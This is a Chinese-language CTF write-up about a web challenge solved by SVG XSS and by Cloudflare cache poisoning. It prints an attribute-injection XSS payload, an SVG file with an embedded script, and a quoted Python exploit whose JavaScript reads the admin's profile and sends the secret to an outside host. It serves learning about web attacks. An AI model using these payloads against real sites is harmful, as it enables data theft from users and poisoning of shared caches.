通过一道题了解缓存投毒和SVG XSS

文章首发于先知社区:https://xz.aliyun.com/t/4492
参加了p4Team举办的Teaser CONFidence CTF,其中有一道很有意思的题,预期解法是svg xss,非预期解法是前段时间刚学的缓存投毒。

题目

地址:http://web50.zajebistyc.tf/ (环境还没关)
题目主页给了一个登陆注册的页面,可以注册任意用户名的账号
image.png
登陆成功后有两个功能
image.png
第一个功能可以修改自己的个人信息以及上传头像
image.png
第二个功能是给了一个表单,提交后台admin会去访问。

根据题目描述我们应该是要通过xss获取admin页面Secret表单的值。
如果我们直接访问admin页面,只会显示简单的个人信息。
image.png

思路:
1、上传html文件,让admin访问进行xss。
2、个人信息页面构造xss,让admin访问。

通过抓包测试上传功能,我发现可以上传任意后缀的文件,但是要求文件头必须是图片格式,且图片尺寸为100x100。通过上传html文件并访问,我发现服务器把他当作图片来解析了,我猜测是根据文件头来进行解析的。因此我们需要找到能够进行xss的图片格式(也就是svg,下面会说)。
image.png
这条路不通,只能尝试第二种思路,在个人信息页面构造xss。
经过测试发现尖括号和单双引号都被实体编码了。但是发现Shoesize的value值没有被双引号包裹,可以构造xss。
image.png
payload:30 autofocus onfocus=alert(1)
image.png
但是这只是一个sefxss,只有自己能看到,别人访问的话是这个样子的
image.png
然后就被卡在了这里。
赛后通过询问主办方,他告诉我预期解法是svg xss,非预期是缓存投毒攻击:https://ctftime.org/writeup/13925

SVG XSS

可以参考:SVG XSS的一个黑魔法
SVG 是使用 XML 来描述二维图形和绘图程序的语言。
SVG可缩放矢量图形(Scalable Vector Graphics),顾名思义就是任意改变其大小也不会变形,是基于可扩展标记语言(XML),他严格遵从XML语法,并用文本格式的描述性语言来描述图像内容,因此是一种和图像分辨率无关的矢量图形格式。
通过在线图片转SVG,我们可以看到基本的SVG图片格式
image.png
SVG标准中定义了script标签的存在,<svg>遵循XML和SVG的定义,因此我们可以利用其来执行XSS。
image.png
构造一个SVG文件

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve">  <image id="image0" width="751" height="751" x="0" y="0"
    href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>alert(1)</script>
</svg>

本地测试
image.png
构造获取secret的xss脚本,然后发给admin,获得flag。
image.png

缓存投毒

这个是非预期的解法:https://ctftime.org/writeup/13925
关于缓存投毒安全客之前也有翻译的文章:实战Web缓存投毒(上),p牛在知识星球也讲过了,我就不班门弄斧了。

p牛:原理就是正常的缓存是架设在用户和服务器中间,能够让用户更快地获取想要的结果,而缓存投毒的意思就是:攻击者使缓存服务器存储了有害的页面,此时正常用户如果命中了这个缓存,将会被有害页面攻击。

通过响应头我们可以看到,题目使用cloudflare来做CDN缓存。
image.png
通过百度我们知道CLOUDFLARE CDN 默认只对 静态资源进行缓存加速, 比如 JS, CSS, 图片, 音频, 文档等. 如果是动态的页面, 比如PHP HTML这些请求的话 CLOUDFLARE是默认不缓存的。
但是开头我们就发现可以注册任意用户名,我们可以注册Smi1e.js这样的用户名来触发CDN缓存。

看到题目的非预期wp,我发现一个问题,响应头中有两个Vary头,Vary: Accept-Encoding
Vary: Cookie
,我们知道vary头是用来决定使用哪个请求头来作为查找缓存的依据的,但是题目的解法就是让admin访问了自己投毒的XSS缓存,而管理员的cookie显然是不知道的,但是却能成功投毒。
我本地用两个浏览器分别注册了两个号做测试。
一个用户名为Smi1e.js用来投毒
image.png
一个Smi1e,用来做被攻击者。访问投毒页面
image.png
这时候你可能会问为什么头像不一样,因为这是第一次访问该页面的数据,已经被缓存了,缓存时间结束之前是不会改变的,而第一个头像是访问这个页面之后又上传的。

这时候我们发现Vary: Cookie这个头是不是没什么作用,cookie不一样也能命中缓存?通过询问Wonderkun和其他几位师傅,他们觉得vary头可能没起作用。毕竟是静态缓存,js、css、图片什么的是可以被当作公共文件来访问的。(如果师傅们知道是为什么的话,请务必告诉我)

最后就是投毒了,通过上面我们知道如果我们要投毒成功,必须要新注册一个用户名为.js后缀的账号,然后直接post修改数据的投毒数据包,不能先访问再更改,因此你访问之后页面已经被缓存了,当然还可以计算缓存结束时间,然后bp爆破修改数据,不过比较麻烦。

另外我们投毒的机器还要和admin使用同一个CDN缓存服务器。因此我们需要购买指定地区的vps,这里我就直接贴ctftime上的exp了。

import requests, random

payload = '''fetch("/profile").then(function(e){e.text().then(function(f){new/**/Image().src='//avlidienbrunn.se/?'+/secret(.*)>/.exec(f)[0]})})'''
raw_data = '''------WebKitFormBoundary8XvNm1gXcAtb4Hik
Content-Disposition: form-data; name="firstname"

azz
------WebKitFormBoundary8XvNm1gXcAtb4Hik
Content-Disposition: form-data; name="lastname"

zzz
------WebKitFormBoundary8XvNm1gXcAtb4Hik
Content-Disposition: form-data; name="shoesize"

1 tabindex=1 contenteditable autofocus onfocus='''+payload+''' 
------WebKitFormBoundary8XvNm1gXcAtb4Hik
Content-Disposition: form-data; name="secret"

asd
------WebKitFormBoundary8XvNm1gXcAtb4Hik
Content-Disposition: form-data; name="avatar"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary8XvNm1gXcAtb4Hik--
'''

s = requests.Session()

s.get('http://web50.zajebistyc.tf/login')

username = 'hfs-'+str(random.randint(1000000,99999999))+".js"
password = username

headers_login = {'Content-Type': 'application/x-www-form-urlencoded'}
headers = {'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundary8XvNm1gXcAtb4Hik'}

# Register account
res = s.post('http://web50.zajebistyc.tf/login', headers=headers_login, data="login="+username+"&password="+password)

# XSS profile
res = s.post('http://web50.zajebistyc.tf/profile/'+username, data=raw_data, headers=headers)

# Poison cloudflare cache
s.get('http://web50.zajebistyc.tf/profile/'+username)

print "poisoned. go report "+'http://web50.zajebistyc.tf/profile/'+username